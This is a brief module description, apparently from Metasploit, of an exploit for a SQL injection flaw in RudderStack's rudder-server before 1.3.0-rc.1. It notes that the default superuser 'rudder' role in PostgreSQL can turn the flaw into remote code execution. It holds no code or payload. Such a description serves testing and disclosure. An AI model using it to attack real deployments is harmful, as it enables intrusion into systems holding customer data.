          This Metasploit module exploits a SQL injection vulnerability in
          RudderStack's rudder-server, an open source Customer Data Platform (CDP).
          The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.
          By exploiting this flaw, an attacker can execute arbitrary SQL commands,
          which may lead to Remote Code Execution (RCE) due to the `rudder` role
          in PostgreSQL having superuser permissions by default.
